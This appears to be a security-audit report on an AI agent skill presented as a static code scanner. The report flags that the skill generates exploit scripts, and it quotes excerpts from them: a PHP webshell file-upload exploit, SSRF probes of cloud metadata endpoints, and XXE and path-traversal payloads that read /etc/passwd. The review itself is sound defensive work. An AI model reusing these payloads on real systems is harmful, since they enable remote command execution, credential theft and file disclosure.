T09 · Insecure Skill Coding Practices
- Location
scripts/security_md.py:98- Finding
Generated command-injection PoC discloses the operator hostname
- Content
View full analysis
- Remediation
View remediation
Security audit
Security checks for vulnerabilities and agentic risk
The skill is a real static scanner, but it also generates ready-to-run exploit scripts that can attack systems, so it should be reviewed before use.
Install only if you deliberately want a security audit skill that produces executable exploit material. Keep generated reports private, do not run the PoCs except on systems you own or are explicitly authorized to test, and consider removing or gating the webshell, metadata-service probing, OOB callback, and sensitive-file-read payloads before use.
scripts/security_md.py:98Generated command-injection PoC discloses the operator hostname
scripts/security_md.py:217Generated SSRF PoC probes internal services and cloud metadata endpoints
The file-upload PoC embeds a functional PHP webshell that executes commands from a request parameter after upload. This is overtly weaponized content that directly enables post-upload remote command execution and is far beyond the stated purpose of code auditing.
eturn print("[-] No known SSTI pattern detected")
if name == "main": exploit()
### File Upload PoC
```python
#!/usr/bin/env python3
"""File Upload PoC"""
import requests
import os
import tempfile
TARGET = "http://target.example.com/upload"
def exploit():
shell = ('<?php\n'
'if(isset($_GET[\'cmd\'])){\n'
' echo "<pre>";\n'
' system($_GET[\'cmd\']);\n'
' echo "</pre>";\n'
'}\n'
'?>\n')
with tempfile.NamedTemporaryFile(suffix=".php", delete=False, mode="w") as f:
f.write(shell)
tmpfile = f.name
filenames = [
("shell.php", "application/x-php"),
("shell.php.jpg", "image/jpeg"),
("shell.php%00.jpg", "image/jpeg"),
("shell.pHp", "application/x-php"),
]
for fname, mime in filenames:
with open(tmpfile, "rb") as f:
r = requests.post(TARGET, files={"file": (fname, f, mime)}, timeout=10)
p
This line contains a PHP webshell payload that executes user-supplied commands via system($_GET['cmd']). Embedding a deployable webshell in a file-upload exploit template is overtly weaponized and enables arbitrary command execution and persistent compromise if used against a vulnerable target.
oC — {category}"""\n'
'import requests\n'
'import os\n'
'import tempfile\n'
'\n'
'TARGET = "{vuln_url_placeholder}"\n'
'\n'
'def exploit_file_upload():\n'
' """文件上传漏洞验证"""\n'
' shell_code = (\'<?php\\n\''
'\'if(isset($_GET[\\\'cmd\\\'])){{\\n\''
'\' echo "<pre>";\\n\''
'\' system($_GET[\\\'cmd\\\']);\\n\''
'\' echo "</pre>";\\n\''
'\'}}\\n\''
'\'?>\\n\')\n'
' with tempfile.NamedTemporaryFile(suffix=".php", delete=False, mode="w") as f:\n'
' f.write(shell_code)\n'
' tmpfile = f.name\n'
' filenames = [\n'
' ("shell.php", "application/x-php"),\n'
' ("shell.php.jpg", "image/jpeg"),\n'
' ("shell.php%00.jpg", "image/jpeg"),\n'
' ("shell.pHp", "application/x-php"),\n'
' ("shell.php.", "application/x-php"),\n'
YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
ring($` / `DOMDocument->loadXML($` |
| PHP-REDIR-001 | 开放重定向 | `header("Location: ".$_GET` |
### Java 规则
| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| JAVA-SQLI-001 | SQL 注入 | `createStatement()` / `executeQuery("SELECT...+"` |
| JAVA-XSS-001 | XSS | `response.getWriter().print(request.get` |
| JAVA-RCE-001 | 命令注入 | `Runtime.getRuntime().exec(request.get` |
| JAVA-DESER-001 | 反序列化 | `ObjectInputStream(request` / `readObject()` |
| JAVA-SSRF-001 | SSRF | `HttpURLConnection` / `RestTemplate` 含用户 URL |
| JAVA-XXE-001 | XXE | `DocumentBuilderFactory.newInstance()` |
| JAVA-PATH-001 | 路径遍历 | `new File(request.get` / `Paths.get(request.get` |
| JAVA-ACT-001 | Actuator 暴露 | `endpoints.web.exposure.include=*` |
### Python 规则
| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 |
YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).
ring($` / `DOMDocument->loadXML($` |
| PHP-REDIR-001 | 开放重定向 | `header("Location: ".$_GET` |
### Java 规则
| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| JAVA-SQLI-001 | SQL 注入 | `createStatement()` / `executeQuery("SELECT...+"` |
| JAVA-XSS-001 | XSS | `response.getWriter().print(request.get` |
| JAVA-RCE-001 | 命令注入 | `Runtime.getRuntime().exec(request.get` |
| JAVA-DESER-001 | 反序列化 | `ObjectInputStream(request` / `readObject()` |
| JAVA-SSRF-001 | SSRF | `HttpURLConnection` / `RestTemplate` 含用户 URL |
| JAVA-XXE-001 | XXE | `DocumentBuilderFactory.newInstance()` |
| JAVA-PATH-001 | 路径遍历 | `new File(request.get` / `Paths.get(request.get` |
| JAVA-ACT-001 | Actuator 暴露 | `endpoints.web.exposure.include=*` |
### Python 规则
| 规则 ID | 类别 | 匹配模式 |
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 |
Model output is used without validation or sanitization. Unvalidated output injected into downstream contexts (SQL, shell, HTML) enables injection attacks and arbitrary code execution.
|---------|------|---------|
| PY-SQLI-001 | SQL 注入 | `.execute(f"...request"` / `.execute("...%s" % request` |
| PY-XSS-001 | XSS | `\|safe` / `mark_safe(request` / `render_template_string(request` |
| PY-RCE-001 | 命令注入 | `os.system(request` / `subprocess.run(request` / `eval(request` |
| PY-SSTI-001 | SSTI | `render_template_string(request` / `Template(request` |
| PY-DESER-001 | 反序列化 | `pickle.loads(request` / `yaml.load(request` |
| PY-SSRF-001 | SSRF | `requests.get(request` / `urlopen(request` |
The declared purpose is regex-based static auditing, but the instructions expand behavior into generating full exploit content and operational attack guidance. This mismatch is dangerous because users and orchestrators may trust the skill as a defensive scanner while it also enables offensive actions not disclosed in its stated purpose.
The skill explicitly requires generating runnable exploit/PoC scripts for each finding. That materially changes the skill from defensive analysis into offensive enablement, lowering the barrier to exploitation and creating misuse risk if invoked against real targets.
This section contains concrete exploit templates for SQLi, RCE, XSS, deserialization, SSRF, XXE, traversal, SSTI, upload bypass, and open redirect. In context, these are ready-to-use attack playbooks with payloads, endpoints, and logic for confirmation, which substantially increases dual-use and abuse potential beyond static code review.
The SSRF template explicitly probes the cloud metadata IP 169.254.169.254, a high-value internal target commonly used to extract instance credentials. Including this target in a runnable PoC materially increases the likelihood of credential theft or cloud compromise if misused.
"http://127.0.0.1:22",
"http://127.0.0.1:80",
"http://127.0.0.1:8080",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
]
for url in internal:
The template also targets metadata.google.internal, another cloud metadata endpoint associated with privileged environment data. This is especially dangerous because it guides attacks toward credential-bearing infrastructure resources rather than merely demonstrating a generic SSRF concept.
"http://127.0.0.1:80",
"http://127.0.0.1:8080",
"http://169.254.169.254/latest/meta-data/",
"http://metadata.google.internal/",
]
for url in internal:
try:
The XXE PoC explicitly targets local file disclosure using file:///etc/passwd. Even though it appears in a template, it provides concrete credential/system data access guidance that can be directly repurposed against real systems.
payloads = [
('<?xml version="1.0"?>\n'
'<!DOCTYPE foo [\n'
' <!ENTITY xxe SYSTEM "file:///etc/passwd">\n'
']>\n'
'<root>&xxe;</root>', "/etc/passwd"),
('<?xml version="1.0"?>\n'
This finding is part of the same XXE template and continues the concrete local-file access pattern, including OS-specific sensitive file targets. In a skill marketed for auditing, embedding such payloads increases misuse risk by packaging operational exfiltration instructions.
'<!DOCTYPE foo [\n'
' <!ENTITY xxe SYSTEM "file:///etc/passwd">\n'
']>\n'
'<root>&xxe;</root>', "/etc/passwd"),
('<?xml version="1.0"?>\n'
'<!DOCTYPE foo [\n'
' <!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">\n'
The path traversal PoC includes direct payloads to read /etc/passwd, which is a standard proof target for unauthorized file disclosure. In context, this is not merely descriptive detection logic; it is actionable exploitation content that facilitates attacks.
def exploit():
paths = [
"../../../etc/passwd",
"..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd",
"..%252f..%252f..%252fetc/passwd",
This line extends the traversal exploit list with encoded bypass variants for reaching /etc/passwd. The inclusion of bypass encodings makes the content more dangerous because it helps evade naive filters and moves further from defensive audit scope.
paths = [
"../../../etc/passwd",
"..\\..\\..\\windows\\win.ini",
"....//....//....//etc/passwd",
"..%252f..%252f..%252fetc/passwd",
"%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd",
]
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
]],
[".php", ".phtml", ".inc"],
))
return rules
PHP_RULES = _build_php_rules()
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
]],
[".php", ".phtml", ".inc"],
))
return rules
PHP_RULES = _build_php_rules()
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
]],
[".php", ".phtml", ".inc"],
))
return rules
PHP_RULES = _build_php_rules()
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
]],
[".php", ".phtml", ".inc"],
))
return rules
PHP_RULES = _build_php_rules()
Skill contains instructions that could directly expose system prompts, internal rules, or hidden instructions to users or external parties.
]],
[".php", ".phtml", ".inc"],
))
return rules
PHP_RULES = _build_php_rules()
The file contains a large library of ready-to-render exploit templates for SQLi, RCE, XSS, deserialization, SSRF, XXE, path traversal, SSTI, file upload, and open redirect. This goes beyond passive security reporting and materially enables offensive use by generating actionable attack code inside the audit report, increasing misuse risk and making the skill dangerous in contexts where only analysis/reporting is expected.
The skill includes context-inappropriate offensive capability, including command-injection payloads, insecure deserialization RCE examples, SSRF targeting internal/cloud metadata endpoints, and a file-upload webshell payload. In a code-audit/report-generation component, bundling weaponized exploitation content substantially raises abuse potential and can facilitate unauthorized intrusion or post-exploitation.
The SSRF template explicitly probes the AWS instance metadata endpoint at 169.254.169.254. This is a well-known target for credential theft and cloud compromise, so embedding it in a report generator meaningfully equips misuse beyond benign auditing.
"http://127.0.0.1:8080",
"http://127.0.0.1:3306",
"http://127.0.0.1:6379",
"http://169.254.169.254/latest/meta-data/", # AWS metadata
"http://metadata.google.internal/", # GCP metadata
"http://100.100.100.200/latest/meta-data/", # Alibaba Cloud
]
The template also includes the GCP metadata hostname, another sensitive cloud credential source. Including multiple provider-specific metadata targets demonstrates an offensive objective and increases the likelihood of credential access if misused.
"http://127.0.0.1:3306",
"http://127.0.0.1:6379",
"http://169.254.169.254/latest/meta-data/", # AWS metadata
"http://metadata.google.internal/", # GCP metadata
"http://100.100.100.200/latest/meta-data/", # Alibaba Cloud
]
for url in internal_targets:
The Alibaba Cloud metadata endpoint is likewise embedded for SSRF validation. Enumerating cloud metadata services across providers broadens the attack surface enabled by the skill and is especially dangerous because successful access may expose temporary credentials.
"http://127.0.0.1:6379",
"http://169.254.169.254/latest/meta-data/", # AWS metadata
"http://metadata.google.internal/", # GCP metadata
"http://100.100.100.200/latest/meta-data/", # Alibaba Cloud
]
for url in internal_targets:
try:
This XXE template embeds a payload that attempts to read /etc/passwd via an external entity. Including explicit local-file exfiltration payloads in a report generator provides credential/file-access tradecraft rather than mere analysis, and can be reused directly against targets.
' xxe_payloads = [\n'
' (\'<?xml version="1.0"?>\\n'
'<!DOCTYPE foo [\\n'
' <!ENTITY xxe SYSTEM "file:///etc/passwd">\\n'
']>\\n'
'<root>&xxe;</root>\', "/etc/passwd"),\n'
' (\'<?xml version="1.0"?>\\n'